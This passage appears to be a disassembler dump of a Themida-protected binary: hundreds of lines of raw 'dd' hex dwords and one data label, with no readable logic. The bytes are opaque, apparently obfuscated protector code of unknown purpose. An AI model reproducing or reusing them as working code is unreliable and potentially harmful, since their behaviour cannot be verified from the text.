		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C7C35646h
		dd 5BF88B52h, 8B04C283h, 1006D99Dh, 20508906h, 165F61BFh
		dd 0C2858D27h, 6A0613D7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0B40AC356h,	0ACD66C83h
		dd 0BE8C2h, 73B20000h, 0AA63F6E8h, 9700DB42h, 5F616028h
		dd 0B88689h, 0B5290000h, 61011F1h, 5E960h, 0D2A50000h
		dd 297C4DA4h, 100A498Dh, 6A6106h, 0F599D8Bh, 0B5FF0610h
		dd 613C26Dh, 0E11BD8Bh,	95FF0610h, 6100495h, 1BDEC381h
		dd 0F96054Bh, 0A8Ch, 62B26000h,	8C0Fh, 50610000h, 96FE8B66h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 27C35545h
		dd 0BD8B2BC5h, 6101C1Dh, 11E9h,	612B0D00h, 80E62188h, 9C518D3Bh
		dd 0C6D74FA9h, 0B5FF3053h, 613C26Dh, 0DE8h, 5D5A3E00h
		dd 3330B548h, 5C448089h, 13E92B8Bh, 0D3000000h,	226BC139h
		dd 0D4D8679Eh, 0E2E03A0Ch, 0ED8EF2ABh, 0FF5FDA8Bh, 10162D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0BA9D0498h, 0E8FD9CE5h, 83F50AD0h, 101351BDh
		dd 840F0006h, 26h, 78DB8166h, 0BB669695h, 0E950E06Ah, 0Fh
		dd 0AD8DDFF7h, 0B35BE270h, 0CC813898h, 9641320Ah, 89DBD09h
		dd 0B5FF0610h, 613C26Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 6CC35747h, 610B39ADh,	0BB8444E8h, 51D9509h
		dd 9D8B0610h, 61019D5h,	0C1995FFh, 6A0610h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0D935C5C3h
		dd 28C85101h, 8052604Bh, 6659A6D7h, 0FF61CE8Bh,	13C26DB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 9C066C93h, 6860Fh, 0E7810000h, 21C3F1ECh
		dd 162195FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0EDDDC6C3h, 89BD8358h, 206100Fh
		dd 63840Fh, 0C3BB0000h,	8B3EE757h, 1010C585h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 2D9D0349h, 0C6061006h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 10E9CCC3h, 0DC000000h
		dd 46AF8FE2h, 6AB16C34h, 4E294C00h, 8B1E0E83h, 2585C7D9h
		dd 6102Ah, 0F000000h, 68Ah, 55B50100h, 0E906102Fh, 0FFFFF3F0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 19C35646h
		dd 0F6BFC18Bh, 0BF2ABDA2h, 2A8F25BFh
dword_590440	dd 13B9858Dh, 9D890610h, 6101F1Dh, 0F78B6090h, 0CE8h, 10E50600h
					; DATA XREF: Themida_:0054CD80o
		dd 410055F7h, 9E97C623h, 8A0FC2h, 5E000000h, 6A905061h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0EF81C355h, 820FCCF1h, 9,	3850Fh,	0DF800000h
		dd 66006A34h, 0EA4CDF81h, 8166006Ah, 8DC990EFh,	14516D85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 5C08379h, 689BD31h, 8A900610h, 9BB750DEh
		dd 21DB8090h, 6AF8006Ah, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 81A33CB0h, 519D8B05h
		dd 66061005h, 0FF32CCBFh, 101D1995h, 8D8DF806h,	613AFD8h
		dd 77DFBB66h, 8F0FD1FFh, 4, 0B709BB66h,	2209BD83h, 0F010610h
		dd 0A385h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0B5EF81E1h, 11F32F6h, 1000D985h
		dd 0DF8B6606h, 0BD8B026Ah, 6100891h, 7599501h, 60900610h
		dd 5E8h, 2F85F200h, 8B6666AFh, 5E859C2h, 9B000000h, 3BD7AAE6h
		dd 615A6160h, 0EE950h, 42CC0000h, 8DF2989Dh, 91D2A022h
		dd 0E860E99Ch, 52006A90h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 433AC106h, 425CCB81h
		dd 0D7817A0Eh, 5EBB0993h, 49595FFh, 9D890610h, 6102129h
		dd 0D91E9h, 0E800h, 815D0000h, 145177EDh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0BE0997Dh, 72F59ABEh, 9D8B0239h, 6100DF1h, 6E9h, 5FB06F00h
		dd 23BAB73Eh, 1004FDBDh, 0B6858D06h, 6A061399h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0F09AC350h, 1F72EBFBh, 25558AA8h, 999D2B60h,	66061000h
		dd 0CD29CB81h, 8B0F5361h, 5, 8DEF8166h,	66905FF0h, 0F50FA8Bh
		dd 158Dh, 0DE800h, 0A8430000h, 0D7D903CEh, 0C4ED71A0h
		dd 8B906C25h, 6A905FFAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 39EDC352h, 49BD8BCBh
		dd 0F061007h, 583h, 40BABB00h, 0FF641EE3h, 35h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 4F27DAFBh, 95010905h, 61005B1h, 0F7DF8166h, 258964FAh
		dd 0
		dd 28A0Fh, 0F98B0000h, 141985FFh, 66500610h, 6A5BDE8Bh
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 21D11621h, 0E932374Dh, 10h, 0F6AA4FC6h
		dd 0EEEC51BDh, 7B2BAFAAh, 0D7CB71D6h, 0A65BD01h, 0B5FF0610h
		dd 61030C5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0E6C35141h, 61595FFh, 30E90610h, 8B000001h, 100D599Dh
		dd 0F00B006h, 70E6FEBFh, 0B74262BFh, 2971E469h,	10144D9Dh
		dd 7E906h, 8EFD0000h, 7841E7E6h, 0F613C7Bh, 10283h, 0E1B50900h
		dd 0F061023h, 0D781C8B6h, 573055FAh, 6BAh, 5BD8B00h, 0F061002h
		dd 0C18BDBB7h, 2FC19D0Bh, 8B600610h, 10213985h,	0FB8B6606h
		dd 4E8C161h, 0FE9h, 0E0A83500h,	522E0A40h, 0E1970F71h
		dd 5BB36C0Eh, 23E2F766h, 102E45BDh, 66C82B06h, 8B4169BFh
		dd 0B5BD89D1h, 0E906102Eh, 2, 858BD98Bh, 61020A1h, 11E9h
		dd 6515CD00h, 28A058FCh, 2E7163D3h, 8C67024Fh, 0C083D909h
		dd 0C3816607h, 8060CB0Ch, 0B70F14DEh, 0C08361F1h, 0FD03B00h
		dd 1583h, 6062B300h, 0B299D03h,	0E9610610h, 57h, 2369BD8Bh
		dd 8D8B0610h, 6102381h,	40CCC381h, 0E1833ED1h, 3C840F01h
		dd 0E8000000h, 13h, 0C9F1C2A2h,	0EB59D17Eh, 6CEF46A8h
		dd 2A1658A2h, 31B17468h, 1032C1BDh, 0A5835B06h,	6102381h
		dd 219D8BFEh, 89061012h, 1020A195h, 0EB816606h,	0E901FAh
		dd 8D000000h, 13E426B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 8FA095BFh, 0ED6E177Dh
		dd 0F381006Ah, 741E75AAh, 31C995FFh, 6A0610h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 1B24A1C3h
		dd 8951BBC4h, 100EFD9Dh, 0D4B95F06h, 6000000Dh,	11358D8Bh
		dd 0BF0F0610h, 0E18361D3h, 51006AFCh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 5260B670h
		dd 1EF99D33h, 8B5F0610h, 8BFC61DEh, 100B759Dh, 8BC02B06h
		dd 102949BDh, 8BD22B06h, 0C233ADDFh, 0D003E8D1h, 7504E983h
		dd 52006AF4h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 6E0CE8F9h, 8B6652D4h, 9D095FF9h,	61023D9h
		dd 5E9h, 94F67300h, 0BD8BBFFBh,	6103289h, 880Dh, 9E900h
		dd 79A30000h, 799DBD0Ah, 8B035A3Ch, 1009F595h, 0FE8B6606h
		dd 23198D8Bh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0DEEC21C3h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 6A1EC3h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 249282C3h
		dd 0E0366DD2h, 0BD837AB3h, 6101E29h, 0AF840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0F939C351h, 8E9h,	23FAC300h, 4995EE71h, 0B8E9h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0A0A8F5C3h, 0BD890458h, 6100169h,	2059BD09h
		dd 8D8D0610h, 6104E85h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0ABC35545h, 0BD293ABEh, 61027C1h, 2AF1BD8Bh
		dd 0E1FF0610h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	19C35040h, 1DC1BD8Bh, 0BD830610h, 61022C1h, 1D840F00h
		dd 60000004h, 912D37BAh, 71858966h, 61061013h, 22C1BD83h
		dd 0F010610h, 41E84h, 0D7C78100h, 835D7FB3h, 1022C1BDh
		dd 860F0306h, 3D5h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0F4C35646h, 1840Fh, 0E9F80000h, 7, 4E564F22h
		dd 60D593F2h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	83C35747h, 0AE5A08Bh, 598D8951h, 6606100Fh, 6AD98Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0F44518C3h, 3B23E42Fh, 0E1805786h, 0FC90A04h, 12F84h
		dd 6830F00h, 1000000h, 1014A99Dh, 85858B06h, 50061021h
		dd 11F98589h, 335F0610h, 1011FD85h, 0ADBD8B06h,	90061030h
		dd 11E950h, 0BF950000h,	81B0D197h, 0CC169214h, 5F1D4AB1h
		dd 90A7CA85h, 397B4BBFh, 89006A35h, 100A41BDh, 0C6096806h
		dd 52502ABBh, 6E9h, 0A3D78200h,	0FAD8EB2h, 0D557BF31h
		dd 585A4108h, 0F6243481h, 6A2AA4C5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 517EC350h
		dd 0B88FB2Fh, 860F73A6h, 13h, 0CE951h, 99100000h, 0A91CAABDh
		dd 95FA85CFh, 0FF5FBC3Dh, 1005D595h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0BA25A273h
		dd 8B30E85Dh, 1031719Dh, 6D858906h, 6A0613C2h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 8D58C357h, 9B7F9880h, 0D43AE8C7h, 1E2E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 501453Fh, 6D439BCBh,	89F7BB66h, 0C265858Bh, 0DA8A0613h
		dd 1800C7h, 0BD8B0000h,	6100051h, 0C269B58Bh, 6A0613h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 4EBA9CC3h, 360DC9CEh, 9D890040h, 6100E71h, 0E25858Bh
		dd 95310610h, 6100975h,	6A0689h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0D2E2F1C3h, 50777C2Bh
		dd 8BEE4810h, 1023D99Dh, 85858B06h, 0B061021h, 102DE1BDh
		dd 4468906h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	13C35040h, 0C5823FF8h, 664C5818h, 0B0BBE381h, 0C2BB5250h
		dd 5F42DE5Eh, 29243489h, 1015B585h, 65B5FF06h, 6A0613C2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 993C355h,	0A30067D6h, 89F92BE5h, 10191D95h
		dd 54FB6806h, 0BF66D1CFh, 48165EFh, 4FAF0424h, 0DE8B662Eh
		dd 0C26D858Dh, 6A0613h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 9FF579C3h, 0A5B58957h, 5F061005h
		dd 9088BF66h, 10E850h, 862C0000h, 0AC888682h, 52735C8Ch
		dd 5118F04h, 11E9EC5Bh,	75000000h, 0E4490693h, 25F7E0D5h
		dd 6C98F7FDh, 1E5BDF95h, 2404895Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0E5C35545h,	68AA81EEh, 9589C0F4h
		dd 6101FA9h, 4860Fh, 0BF660000h, 95FFCFB9h, 61005D5h, 0E9DE8B66h
		dd 13h,	7B10B9D1h, 8F10ED05h, 0C9DB116Dh, 0B3CA29B0h, 6117B559h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 46C35141h
		dd 0BD8BC0F9h, 6102ACDh, 22C185C7h, 30610h, 0BD8B0000h
		dd 6101DD1h, 0D939E781h, 0BD831D9Ah, 613C26Dh, 1A840F00h
		dd 0F8000000h, 2FE9h, 9D016000h, 6101BE1h, 68B0Fh, 9D8B0000h
		dd 61013BDh
		dd 0C305061h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0BFDE8B66h, 320BC985h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 65C35242h, 22C1BD83h, 0F030610h
		dd 3C885h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1904h, 0C3514100h, 8C7609F3h, 0BD830AEEh, 613C26Dh
		dd 9A840F00h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0D34EC353h,	88D9D89h
		dd 0B5FF0610h, 613C26Dh, 17059D8Bh, 95FF0610h, 6102FA5h
		dd 0C261B58Bh, 6A0613h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0CFA2ADC3h, 5026E484h, 81666029h
		dd 0F8281C0h, 488h, 70B96600h, 95896153h, 61001E9h, 106C7h
		dd 8B660001h, 11E850DAh, 95000000h, 8100951Fh, 0BF4DB9C4h
		dd 2A726C9Fh, 86F04F6Ch, 6850Fh, 52500000h, 585A310Fh
		dd 2434895Bh, 1705BD8Bh, 0B5FF0610h, 613C26Dh, 208DBD89h
		dd 95FF0610h, 6101225h,	7BDB8166h, 61B58B00h, 660613C2h
		dd 0AA40EB81h, 21D1858Bh, 2B70610h, 0C48689h, 5EBB0000h
		dd 8B723D8Ch, 1009F595h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0F1C1FFC7h, 72CF810Eh
		dd 83548487h, 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0B7CA75C3h, 20508926h, 1B899D8Bh
		dd 8D890610h, 6103169h,	0D7C2858Dh, 8B660613h, 0B88689FEh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 8E62C356h, 0FDB44C9Dh,	8BBF8B30h
		dd 1023E19Dh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 6AD7C357h, 9EB87DF6h
		dd 6509D07Dh, 2935BD89h, 0B5FF0610h, 613C26Dh, 14E9h, 0F926AF00h
		dd 0E7F8ABE0h, 0D9F8DDF3h, 0BD9F56AEh, 0C2D31900h, 9595FFF8h
		dd 0E9061004h, 5, 0DD1F8D71h, 5E9960Ch,	56000000h, 0A7C6B309h
		dd 0E9CDBB50h, 6A965690h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 6887C352h, 0BF0EF22Bh
		dd 0FD8A596h, 687h, 0E1B58900h,	8B061007h, 1028459Dh, 6DB5FF06h
		dd 6A0613C2h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8B37C350h, 1022759Dh, 39958906h
		dd 0FF061011h, 10162D95h, 0BD9D8906h, 83061027h, 101351BDh
		dd 840F0006h, 4Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 63C35545h, 1C10042Dh,	0FC1B70Fh, 5096F8BFh
		dd 0AE8h, 14963C00h, 0FE0E2389h, 0E9016B9Eh, 0Bh, 5FF120F9h
		dd 277B3A09h, 5F7C9B86h, 19953196h, 0FF061008h,	13C26DB5h
		dd 0F1958906h, 0FF06101Eh, 100C1995h, 0CE906h, 3F0C0000h
		dd 88482A76h, 0A956E02Eh, 0B5FF1DB1h, 613C26Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EFC35646h, 0E05416AAh
		dd 47F2DA7Ch, 1CCD8D89h, 95FF0610h, 6101621h, 9E8h, 18E62900h
		dd 0FCE8C9C3h, 0B70F95CDh, 0BD835BF9h, 6100F89h, 62840F02h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 1C9C353h, 100901B5h, 0C5858B06h
		dd 31061010h, 102829BDh, 0C606h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 34C35545h, 115C13Bh, 60AE6675h
		dd 2E558589h, 9D8B0610h, 610096Dh, 2585C761h, 6102Ah, 8B000000h
		dd 101EE9BDh, 0F3C1E906h, 0C18BFFFFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0FAC35242h,	8E6E26CAh, 2A199D03h
		dd 858D0610h, 61013B9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0A7C35545h, 9A254204h, 2EDD8529h, 0F500610h
		dd 481h, 0B4BF6600h, 2404895Eh,	0E47961BFh, 6A006A2Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0F4CBC351h, 0BA1B185h, 100C6DBDh,	0E9BD8B06h
		dd 6A061000h, 0A19D8B00h, 8D061016h, 14609D85h,	0DE8B6606h
		dd 0E905C083h, 8, 1F6DC559h, 543B39FDh,	0F208BB66h, 4880F90h
		dd 50000000h, 505FD98Bh, 0AFB3BB66h, 5850F90h, 66000000h
		dd 377EDB81h, 0B61B589h, 6A0610h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 9EC35040h, 0D0C38166h, 6A006A38h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 871AC352h, 9D7A02A8h, 1D1995FFh, 8D090610h
		dd 6102D59h, 0AFD88D8Dh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 8BAD16C3h, 0ED5E811Ah
		dd 0BF261D9Bh, 1D7B2107h, 0F88BD1FFh, 0E54FBF66h, 2209BD83h
		dd 0F010610h, 4F85h, 830F00h, 6A000000h, 0E9B52902h, 50061022h
		dd 48926B3h, 0FAB70F24h, 49595FFh, 6A0610h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7F84BC3h
		dd 642B7AE8h, 605121ADh, 0E6C8A2BBh, 59BD0132h,	6106102Dh
		dd 0EACE9h, 0E800h, 815D0000h, 1460A7EDh, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 2A94970Ch, 848EABBEh, 9D8BEB75h, 6100B99h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E7C35040h, 858DF3CFh
		dd 61399B6h, 90DF8B66h,	0B840Fh, 6E90000h, 0CF000000h
		dd 7187E9FDh, 800F502Ah, 5, 989BC7BFh, 6A9007h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 758E8AC3h, 0C1B25C3Dh, 35CF812Eh, 6424352Bh,	35FFh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 7A67A0C3h, 1C8C0F00h, 0E8000000h,	10h, 0E5702604h
		dd 616961DAh, 59CFCD5Eh, 6AE916C9h, 1191BD89h, 645B0610h
		dd 2589h, 9D0B0000h, 6100B3Dh, 10E9h, 0CA51F300h, 0FC85C14Bh
		dd 0F547EC78h, 7EB3A19Dh, 1985FF9Bh, 0F061014h,	0FF6ADFBFh
		dd 15C9BD89h, 0B5FF0610h, 6101211h, 0FE9h, 33117500h, 0EE73B898h
		dd 7763D9E7h, 3AE1C61h,	61595FFh, 0ECE90610h, 89000000h
		dd 102D45B5h, 8D8B6006h, 6100E11h, 0A722D181h, 0B0610280h
		dd 95BD8B00h, 0E6061021h, 0E433B770h, 299D3171h, 3C06100Ah
		dd 0BC830F61h, 0B000000h, 1001FDBDh, 0C8B60F06h, 1A9DBD8Bh
		dd 6BA0610h, 89000000h,	101C0D9Dh, 81C18B06h, 67A115D3h
		dd 4E8C11Bh, 0A5C18160h, 0F07FC62h, 6661D1B7h, 9D8BE2F7h
		dd 6100C71h, 0D18BC82Bh, 0A2D9D33h, 0D88A0610h,	13E9h
		dd 319D0B00h, 60061005h, 0B7F08166h, 598D8B8Fh,	61061014h
		dd 2D89858Bh, 0BB660610h, 0C0839B93h, 0C083F507h, 0A9B58900h
		dd 3B06102Eh, 11830FD0h, 8B000000h, 10238D9Dh, 35E906h
		dd 9D8B0000h, 6102181h,	5298D8Bh, 9D8B0610h, 6100045h
		dd 0F01E183h, 1A84h, 0A583FC00h, 6100529h, 0D5BB66FEh
		dd 89958991h, 0F06102Dh, 0E9DEBFh, 8D000000h, 13F3BDB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0CCEFA66Fh, 3C3737B8h, 0FF5AC78h, 6AFEBFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 47C35343h
		dd 0B686683Ch, 66F47D9Ah, 5220E781h, 5AC78166h,	0C995FF04h
		dd 8B061031h, 102AE19Dh, 8BCB906h, 0BF0F0000h, 0FCE183D8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 57C35343h
		dd 0D27244AEh, 89AD435Bh, 1027F5B5h, 9D0BFC06h,	6100A75h
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0EE180B0Ah, 50CC87BEh, 8B661E5Fh
		dd 358D89DEh, 2B06101Bh, 50006AD2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 67024F2Eh, 0ADFFB70Fh
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0FA05C351h
		dd 8AA06C15h, 0EB8166FEh, 0BF0F33C1h, 880DDEh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0CB7942C3h, 265CF1DFh, 8BF91A58h, 1009F595h,	8C0F06h
		dd 8B000000h, 1023198Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0B4766111h, 8B506AEFh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 16959D8Bh
		dd 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 46AE49C3h, 4D103B85h, 11E18D29h, 0BD830610h
		dd 6101E29h, 3E840F00h,	0B8000000h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 17C35242h
		dd 0D3AA5AEDh, 0AF8ACF81h, 8D8D3F5Ch, 6104E85h,	1EC38166h
		dd 89E1FFF4h, 100EDD95h, 0C1BD8306h, 61022h, 4CD840Fh
		dd 0BD830000h, 61022C1h, 0DB840F01h, 6A000004h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 92E5C351h, 1F5F971Dh, 0E94F29FFh, 14h, 446C39F4h, 70DD7B08h
		dd 0D3405F32h, 0D17753DBh, 51467290h, 0FE9h, 12D58E00h
		dd 50B68C3Eh, 0AC38319h, 4AF45A2Fh, 22C1BD83h, 0F030610h
		dd 44786h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 1E419516h, 8B205336h, 8589994Fh
		dd 61016A9h, 52006A60h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 7A298084h, 99D2350h, 5B06102Eh, 80D98C66h
		dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0C0CFBEC3h, 6653B8B5h, 5B3E8CBFh,	840FC90Ah
		dd 145h, 93DBD8Bh, 0DE90610h, 5D000000h, 0E254889Eh, 21751A97h
		dd 7AB3FD49h, 2185858Bh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 3870C3C3h, 60B10229h
		dd 0DE960h, 0BD310000h,	9B2F7172h, 0E2B1F457h, 61541512h
		dd 0FD853361h, 6A061011h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 5F82C351h, 59E1C850h
		dd 0C53FB1DBh, 16959D8Bh, 0F900610h, 0A87h, 48D0F00h, 66000000h
		dd 50440CBBh, 140F1BBFh, 0BD299076h, 610233Dh, 0CE9006Ah
		dd 0FD000000h, 9EB293A1h, 0DB0183F7h, 68C60D59h, 0F4C4D6Ch
		dd 0C8C0Fh, 880F0000h, 6, 8B0Fh, 34810000h, 534E9324h
		dd 55006A0Fh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D5691D84h, 8C8F4953h, 0D595FFB1h, 0E9061005h
		dd 7, 0A5DD8EA2h, 89488ADDh, 13C26D85h,	0E9DA8B06h, 7
		dd 4F85521Ah, 0E94AD773h, 211h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0C5C35040h,	4396E534h, 65858BF9h
		dd 8B0613C2h, 102D19BDh, 1800C706h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 5FCBC357h, 0D1E88423h, 2CCE7B83h, 8BD8BF0Fh,	1027F5BDh
		dd 0BABF6606h, 69B58BF8h, 0E90613C2h, 14h, 5AED1702h, 0AA65D3AAh
		dd 0DAB04454h, 873DAE4Eh, 0ADEE1945h, 0A2DCBB66h, 0E25858Bh
		dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 35FA25C3h, 825E818h, 8166EE72h, 892A3BEFh
		dd 8E806h, 0D5FD0000h, 0BD1B2B0Fh, 18BB66A4h, 5F309024h
		dd 2185858Bh, 10E80610h, 3C000000h, 2DD0C1FCh, 0DD8F00A3h
		dd 52FB89BCh, 0BF312C7Ch, 61DD658h, 446895Fh, 96DFB70Fh
		dd 9D0BBB51h, 505B4159h, 2AC38196h, 0FF28DFE5h,	13C265B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BC9C722h, 4E8DAh, 3FF0000h, 0F50001Fh
		dd 1B8Eh, 50525000h, 5A310F52h,	0E8310F58h, 9, 0D0CE97F6h
		dd 0CE3EC430h, 585A5FF9h, 424448Bh, 0BE860h, 0F0540000h
		dd 0A69ED355h, 0C3153BA8h, 0F525074h, 5F585A31h, 0BF008B61h
		dd 60D3D7DDh, 4244489h,	8AB55760h, 6A586158h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0F0DDC356h, 0F2BC1064h, 6610189h, 941BD29h, 858D0610h
		dd 613C26Dh, 5E8h, 916F9800h, 0D3817217h, 276C8B4Eh, 8B66905Bh
		dd 6A9050FAh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 516C357h, 2819BD33h, 95FF0610h
